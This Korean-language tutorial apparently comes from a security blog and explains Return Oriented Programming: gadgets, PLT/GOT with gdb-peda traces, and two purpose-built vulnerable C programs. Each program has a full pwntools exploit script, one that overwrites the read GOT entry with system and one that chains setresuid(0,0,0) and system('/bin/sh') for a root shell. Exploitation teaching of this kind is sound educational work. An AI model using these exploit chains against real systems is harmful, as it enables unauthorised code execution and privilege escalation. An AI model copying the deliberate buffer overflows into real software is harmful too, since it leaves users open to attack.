ROP(Return Oriented Programming)
- 여러 개의 함수를 호출하기 위해 사용되는 것이 Gadgets이며, 기본적으로 다음과 같은 형태의 Gadgets이 사용된다.ROP는 공격자가 NX bit 및 코드 서명과 같은 보안 방어가 있는 상태에서 코드를 실행할 수 있게 해주는 기술이다.
- ROP는 기본적으로 RTL 공격 기법을 이용하기 때문에, 해당 기법을 모른다면 다음 사이트를 공부하고 보도록 하자.
RTL(Return to Libc)
RTL이란 Return to Shellcode와 비슷하게 Return address 영역을 공유라이브러리(libc) 함수의 주소로 변경해, 해당 함수를 호출하는 방식이다. 이를 이용해 NX bit를 우회할 수 있다. Calling Convention RTL를 이해
hogbal.tistory.com
- Stack Buffer Overflow 취약점이 있고, Gadgets(가젯)이 충분히 있다면 해당 기법을 이용해 원하는 코드를 실행할 수 있다.
Gadgets
ROP 기법을 이해하기 위해 Gadgets에 대해 공부해야 한다.
- 여러 개의 함수를 호출하기 위해 사용되는 것이 Gadgets이며, 기본적으로 다음과 같은 형태의 Gadgets이 사용된다.
- 인자 3개 : "pop; pop; pop; ret"
- 인자 2개 : "pop; pop; ret"
- 인자 1개 : "pop; ret"
- 인자 0개 : "ret"
- 해당 Gadgets들의 역할은 RSP(ESP) 레지스터의 값을 증가시키는 것이다.
- RTL에 의해 호출되는 함수에 전달되는 인자 값이 저장된 영역을 지나 다음 함수가 호출될 수 있도록 하는 것이다.
- x86 바이너리에서는 pop 명령어의 피연산자 값은 중요하지 않지만, x64 바이너리에서는 중요하다(레지스터를 이용해 인자를 전달하기 때문.
- x64 바이너리에서는 RDI, RSI, RDX, RCX, R8, R9 순서로 인자가 전달된다.
- 다음과 같은 방법으로 여러 개의 함수를 연속해서 실행할 수 있다.
- RTL에서 호출할 함수의 다음 영역은 해당 함수의 RET에 해당된다.
- 해당 RET에 Gadgets의 주소를 저장함으로써 연속해서 함수를 호출할 수있다.
- 아래 예제는 read() 함수 호출 후 system() 함수를 호출하게 된다.
32bit
Stack Address | Value | Explanation |
0xffffd57c | Read function address of libc | Function Return Address |
0xffffd580 | Address of gadgets(pop;pop;pop;ret) | |
0xffffd584 | First argument value | |
0xffffd588 | Second argument value | |
0xffffd58C | Third argument value | |
0xffffd590 | System function address of libc | |
0xffffd594 | The address to return to after calling the system function | |
0xffffd598 | First argument value |
64bit
Stack Address | Value | Explanation |
0x7fffffffe498 | Gadget(POP RDI, ret) Address | Return address area of function |
0x7fffffffe4a0 | First argument value | |
0x7fffffffe4a8 | Gadget(POP RSI, POP RDX, ret) Address | |
0x7fffffffe4b0 | Second argument value | |
0x7fffffffe4b8 | Third argument value | |
0x7fffffffe4c0 | read function address of libc | |
0x7fffffffe4c8 | Gadget(POP RDI, ret) Address | |
0x7fffffffe4d0 | First argument value | |
0x7fffffffe4d8 | System function address of libc |
PLT & GOT
또한, ROP 기법을 사용하기 위해서 PLT와 GOT의 개념도 알아야 한다.
- PLT(Procedure linkage table)에는 동적 링커가 공유 라이브러리(libc)의 함수를 호출하기 위한 코드가 저장되어 있다.
- 해당 정보들은 ".plt" 섹션에 저장되어 있다.
- GOT(Global offset table)에는 동적 링커에 의해 공유 라이브러리에서 호출할 함수의 저장된다.
- 이 정보들은 ".got.plt" 섹션에 저장된다.
- 이 섹션은 공격자들의 공격 대상이 되며, 주로 힙, ".bss" Exploit에 의해 포인터 값을 변조할 수 있다.
- ROP에서는 해당 정보를 이용해 기법을 사용한다.
- PLT를 이용해 함수를 호출한다.
- GOT에 저장된 값을 Overwrite 해 원하는 함수를 호출할 수 있다.
Breakpoint 1, 0x0804844f in vuln ()
gdb-peda$ x/i $eip
=> 0x804844f <vuln+20>: call 0x8048300 <read@plt>
gdb-peda$ elfsymbol read
Detail symbol info
read@reloc = 0
read@plt = 0x8048300
read@got = 0x804a00c
gdb-peda$ x/3i 0x8048300
0x8048300 <read@plt>: jmp DWORD PTR ds:0x804a00c
0x8048306 <read@plt+6>: push 0x0
0x804830b <read@plt+11>: jmp 0x80482f0
gdb-peda$ x/wx 0x804a00c
0x804a00c: 0x08048306
gdb-peda$ x/3i 0x80482f0
0x80482f0: push DWORD PTR ds:0x804a004
0x80482f6: jmp DWORD PTR ds:0x804a008
0x80482fc: add BYTE PTR [eax],al
gdb-peda$ x/wx 0x804a008
0x804a008: 0xb7ff0000
gdb-peda$ x/3i 0xb7ff0000
0xb7ff0000 <_dl_runtime_resolve>: push eax
0xb7ff0001 <_dl_runtime_resolve+1>: push ecx
0xb7ff0002 <_dl_runtime_resolve+2>: push edx
gdb-peda$ ni
AAAA
0x08048454 in vuln ()
gdb-peda$ x/wx 0x804a00c
0x804a00c: 0xb7edeb00
gdb-peda$ x/i 0xb7edeb00
0xb7edeb00 <read>: cmp DWORD PTR gs:0xc,0x0
gdb-peda$ p read
$1 = {<text variable, no debug info>} 0xb7edeb00 <read>
gdb-peda$
Proof of concept
32bit
다음과 같은 코드가 있다고 생각해 보자.
#include <stdio.h>
#include <unistd.h>
void vuln(){
char buf[50];
read(0, buf, 256);
}
void main(){
write(1,"Hello ROP\n",10);
vuln();
}
위의 코드에서 system 함수를 호출하기 위한 ROP code는 다음과 같다.
- read 함수를 이용해 "/bin/sh" 문자열을 저장한다.
- write 함수를 이용해 read_got를 leak 한 후 read_got의 값을 시스템함수로 Overwrite 한다.
read(0,writableArea,len(str(binsh)))
write(1,read_got,len(str(read_got)))
read(0,read_got,len(str(read_got)))
system(writableArea)
이를 위한 Exploit 코드는 다음과 같다.
- read, write 함수의 인자는 3개이고 연속해서 함수를 호출해야 하므로 pppr Gadgets을 사용한다.
- system 함수의 호출을 끝으로 프로그램이 종료되므로 system 함수의 RET는 dummy 값을 지정하고 종료한다.
from pwn import *
from struct import *
#context.log_level = 'debug'
binsh = "/bin/sh"
stdin = 0
stdout = 1
read_plt = 0x8048300
read_got = 0x804a00c
write_plt = 0x8048320
write_got = 0x804a014
#32bit OS - /lib/i386-linux-gnu/libc-2.23.so
read_system_offset = 0x9ad60
writableArea = 0x0804a020
pppr = 0x80484e9
payload = "A"*62
#read(0,writableArea,len(str(binsh)))
payload += p32(read_plt)
payload += p32(pppr)
payload += p32(stdin)
payload += p32(writableArea)
payload += p32(len(str(binsh)))
#write(1,read_got,len(str(read_got)))
payload += p32(write_plt)
payload += p32(pppr)
payload += p32(stdout)
payload += p32(read_got)
payload += p32(4)
#read(0,read_got,len(str(read_got)))
payload += p32(read_plt)
payload += p32(pppr)
payload += p32(stdin)
payload += p32(read_got)
payload += p32(len(str(read_got)))
#system(writableArea)
payload += p32(read_plt)
payload += p32(0xaaaabbbb)
payload += p32(writableArea)
r = process('./rop')
r.recvn(10)
r.send(payload + '\n')
r.send(binsh)
read = u32(r.recvn(4,timeout=1))
system_addr = read - read_system_offset
r.send(p32(system_addr))
r.interactive()
64bit
32bit 바이너리와 비슷하게 다음과 같은 코드가 있다고 생각해 보자.
#define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>
#include <dlfcn.h>
void vuln(){
char buf[50];
void (*printf_addr)() = dlsym(RTLD_NEXT, "printf");
printf("Printf() address : %p\n",printf_addr);
read(0, buf, 256);
}
void main(){
seteuid(getuid());
write(1,"Hello ROP\n",10);
vuln();
}
위의 코드에서 root 권한의 Shell을 얻기 위한 system 함수를 호출하는 ROP code는 다음과 같다.
- setresuid 함수를 이용해 root 권한으로 변경한다.
- system 함수를 이용해 "/bin/sh"를 실행한다.
setresuid(0,0,0)
system(binsh)
이를 위한 Exploit 코드는 다음과 같다.
- 32bit 바이너리와 다르게 Gadgets의 피연산자가 중요하므로 각각의 Gadgets을 구한다.
- 이를 이용해 코드를 작성하고, 32bit 바이너리와 다르게 RET의 위치도 다른 것을 확인할 수 있다.
from pwn import *
from struct import *
#context.log_level = 'debug'
#64bit OS - /lib/x86_64-linux-gnu/libc-2.23.so
libcbase_printf_offset = 0x55800
libcbase_system_offset = 0x45390
libcbase_setresuid_offset = 0xcd570
binsh_offset = 0x18cd57
pop_rdi_ret = 0x400843
pop_rsi_ret = 0x400841
pop_rdx_ret_offset = 0x1150c9
r = process('./rop')
r.recvn(10)
r.recvuntil('Printf() address : ')
libcbase = int(r.recvuntil('\n'),16)
libcbase -= libcbase_printf_offset
payload = "A"*72
payload += p64(pop_rdi_ret)
payload += p64(0)
payload += p64(libcbase + pop_rdx_ret_offset)
payload += p64(0)
payload += p64(0)
payload += p64(libcbase + libcbase_setresuid_offset)
payload += p64(pop_rdi_ret)
payload += p64(libcbase + binsh_offset)
payload += p64(libcbase + libcbase_system_offset)
r.send(payload)
r.interactive()
참고 사이트
02.ROP(Return Oriented Programming)-x64 - TechNote - Lazenca.0x0
Excuse the ads! We need some help to keep our site up. List Return Oriented Programming(ROP) -x64 ROP( Return-oriented programming )는 공격자가 실행 공간 보호(NXbit) 및 코드 서명(Code signing)과 같은 보안 방어가있는 상태
www.lazenca.net